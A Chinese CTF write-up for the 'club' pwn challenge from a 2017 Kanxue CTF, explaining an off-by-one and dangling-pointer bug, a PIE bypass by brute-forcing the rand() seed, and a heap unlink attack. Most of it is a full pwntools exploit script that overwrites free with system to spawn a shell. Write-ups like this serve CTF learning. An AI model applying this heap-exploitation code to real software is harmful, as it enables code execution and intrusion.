off-by-one

0x00 发现漏洞

1.off-by-one

在massage函数中,如图所示,可以修改的字节数比原内存大小多了一个字节

2.悬挂指针

可以看到,在free堆块的时候,没有清空指针,造成悬挂指针

0x01漏洞利用

1.绕过PIE

在函数guess_box中让我们猜测随机数的值,随机数种子是seed的地址的后8位字节

由于随机数并不是真正的随机,随机数的产生是有规律的,在两个不同的环境下同样的种子每次产生的随机数都是相同的。由此我们可以进行爆破,从而得到seed的地址,进一步绕过PIE.

2.unlink

首先创建两个堆块,大小分别是0x108,0x120。当一个 chunk 处于使用状态时, 它的下一个 chunk 的 prev_size域肯定是无效的。所以实际上,这个空间也可以被当前 chunk 使用。 在这里的意思就是说0x108这个堆块占用了0x120堆块的prev_size域,继续往下就是0x120堆块的size域了,而我们此时恰好可以继续往下写一个字节,这个字节可以覆盖0x120 size域的NP值,我们只需要P值被改变就行。下图是创建两个堆块之后的堆内存状态。

然后我们修改第二块内存。

base = 程序基址
p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'\x30'

为了绕过unlink检查,构造了一个伪造的chunk。现在堆内存如下图。

3.getshell

因为给了libc。所以只要直接leak got来获取libc位置。再将free改成system来free一块保存/bin/sh的chunk就可以获得shell。exp如下。
from pwn import *
import ctypes context.log_level = 'debug'
so = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./libc.so.6') t = process('./club')
# t = remote('123.206.22.95', 8888) def guess(num = 12345):
t.recvuntil('> ')
t.sendline('')
t.recvuntil('> ')
t.sendline(str(num))
t.recvuntil('Wr0ng answer!The number is ')
num = t.recvuntil('!')
return int(num[:-1]) def get_base(num):
t.recvuntil('> ')
t.sendline('')
t.recvuntil('> ')
t.sendline(str(num))
t.recvuntil('G00dj0b!You get a secret: ')
num = t.recvuntil('!')
return int(num[:-1]) def guess_seed(num):
for i in xrange(0x100000,0,-1):
i = i<<12
i += 0x148
so.srand(i)
j = 0
while j < 30:
j += 1
a = so.rand()
if a == num[j-1]:
continue
break
if j == 30:
return so.rand()
print 'aaa'
print i
return 0
def add(choose, size):
t.recvuntil('> ')
t.sendline("")
t.recvuntil('> ')
t.sendline(str(choose))
t.recvuntil('> ')
t.sendline(str(size)) def edit(choose, payload):
t.recvuntil('> ')
t.sendline("")
t.recvuntil('> ')
t.sendline(str(choose))
t.send(payload) def free(choose):
t.recvuntil('> ')
t.sendline("")
t.recvuntil('> ')
t.sendline(str(choose)) num_table = []
for i in range(30):
num_table.append(guess()) print num_table r = guess_seed(num_table) num = get_base(r)
base = num - 0x0000000000202148
print hex(base) add(1, 0x108)
add(2, 0x120) edit(1, p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'\x30')
raw_input()
free(2) edit(1,p64(base + 0x0000000000202018)+p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018)+'\n') print 'aaaaaaaaa' t.recvuntil('> ')
t.sendline("")
t.recvuntil('> ')
t.sendline("") a = t.recvline()[:-1]
a = a.ljust(8,'\x00')
free_a = u64(a)
print hex(free_a)
libc = free_a - elf.symbols['free']
system = libc + elf.symbols['system']
edit(1, p64(system)+'\n')
add(3, 0x138)
edit(3, '/bin/sh\x00\n') free(3)
t.interactive()

off-by-one&doublefree. 看雪10月ctf2017 TSRC 第四题赛后学习的更多相关文章

  1. 2019看雪CTF 晋级赛Q2第四题wp

    上次参加2019看雪CTF 晋级赛Q2卡在了这道题上,虽然逆出算法,但是方程不会解,哈哈哈哈,果然数学知识很重要呀,现在记录一下. 首先根据关键信息,根据错误提示字符串定位到这里: 1 int __t ...

  2. SPSS 2019年10月17日 21:46:38 今日学习总结

    数据库: 开放数据库链接是为了解决异构数据库间的数据共享而产生的,现已成为WOSA的主要部分和基于Windows环境的一种数据库访问接口标准ODBC为异构数据库访问提供一个接口,允许应用程序以SQL为 ...

  3. SPSS 2019年10月31日 20:20:53今日学习总结

    ◆描述性统计分析 概念:描述性统计分析方法是指应用分类.制表.图形及概括性数据指标(去均值,方差等)来概括数据分布特征的方法. 而推断性统计分析方法则是通过随机抽样,应用统计方法把从样本数据得到的结论 ...

  4. ECC加密算法入门介绍 --- 看雪

    标 题:ECC加密算法入门介绍 作 者:zmworm 时 间:2003/05/04 08:32pm 链 接:http://bbs.pediy.com ECC加密算法入门介绍 作者  :ZMWorm[C ...

  5. [分享] 从定制Win7母盘到封装详细教程 By BILL ( 10月23日补充说明 )

    [分享] 从定制Win7母盘到封装详细教程 By BILL ( 10月23日补充说明 ) billcheung 发表于 2011-10-23 00:07:49 https://www.itsk.com ...

  6. 10月12号 晚八点 Speed-BI 云平台-基于Excel数据源的管理驾驶舱构建全过程,腾讯课堂开课啦

    认真地做了一大摞一大摞的报表,老板没时间看?努力把能反馈的内容都融汇进图表里,老板嫌复杂?做了几个简单的报表,老板一眼就觉得信息不全面?每个报表都用了各种各样的图表,老板却毫无兴趣?明明很努力了,为什 ...

  7. 评论 “App死亡潮:400万应用僵尸超八成,周期仅10月”

    点这里 原文: App死亡潮:400万应用僵尸超八成,周期仅10月 时间 2015-04-05 22:48:19  和讯科技相似文章 (16)原文  http://tech.hexun.com/201 ...

  8. 【¥200代金券、iPad等您来拿】 阿里云9大产品免费公测#10月9日-11月6日#

    #10.09-11.06#200元代金券.iPad大奖, 9大产品评测活动! 亲爱的阿里云小伙伴们: 云产品的多样性(更多的云产品)也是让用户深度使用云计算的关键.今年阿里云产品线越来越丰富,小云搜罗 ...

  9. 看雪论坛 破解exe 看雪CTF2017第一题分析-『CrackMe』-看雪安全论坛

    韩梦飞沙  韩亚飞  313134555@qq.com  yue31313  han_meng_fei_sha 逆向 黑客 破解 学习 论坛 『CrackMe』 http://bbs.pediy.co ...

随机推荐

  1. 洛谷 - P2281 - 多项式的加法和乘法 - 大模拟

    题目链接:https://www.luogu.org/problemnew/show/P2281 题目的意思很简单,输入两个系数.指数都是整数,变量都是大写字母的多项式,求他们的加法结果和乘法结果. ...

  2. test markdown style

    code // Forward declaration of isBadVersion API. bool isBadVersion(int version); class Solution { pu ...

  3. CSA Round #53 (Div. 2 only) Histogram Partition(模拟)

    传送门 题意 给出一个数组A,你有一个数组B(一开始全为0),询问多少次操作后B转化为A 一次操作:选择一段区间,加上某个正整数 分析 构建一个栈, 输入一个数,若当前栈空或栈顶元素比输入小,则加入栈 ...

  4. HDU1059 【DP·二进制数优化】

    题意: 有6种不同价值的物品,然后问你能不能分成两半使得两堆价值相等: 思路: 一共有20000*6=120000 多的价值, 总共背包有20000个,价值最大是120000,看看能不能DP到valu ...

  5. 51nod 1011 【完全背包】

    完全背包的变形: 这些数字可以取多次,dp[i]代表前 i 物品组成N时的方案数. #include<iostream> #include<cstring> #include& ...

  6. [HNOI2010] 矩阵 matrix

    标签:dfs+剪枝. 题解: 这道题看着就像一道dfs题目,没有什么算法可以用来算这个东西,于是想想暴搜. 如果我们确定因为是2*2的子矩阵的和,如果确定了其中三个,那么就可以确定第四个,发现如果确定 ...

  7. 【Linux】Devops的一些运维工具

    一.Devops简介 从手工编译.上传服务器文件.执行命令.启动停止服务器.发现BUG再重复一遍流程,软件开发的重复劳动越来越多,在Devops概念之前,全部要靠人工手动完成,也看到了很多运维人员半夜 ...

  8. CF1175E Minimal Segment Cover 题解

    题意:给出\(n\)个形如\([l,r]\)的线段.\(m\)次询问,每次询问区间\([x,y]\),问至少选出几条线段,使得区间\([x,y]\)的任何一个部位都被至少一条线段覆盖. 首先有一个显然 ...

  9. NOIp2016 愤怒的小鸟 【状压dp】By cellur925

    题目传送门 注:本文中绿鸟==猪! 这道题开始一看数据范围我们就知道是一道状压dp,因为绿鸟仅有18个,但是开始看\(m\)好像没太懂什么意思.既然确定了是状压,那就来设计状态,一般状压的状态肯定是要 ...

  10. ZOJ1221 Risk

    Description Risk is a board game in which several opposing players attempt to conquer the world. The ...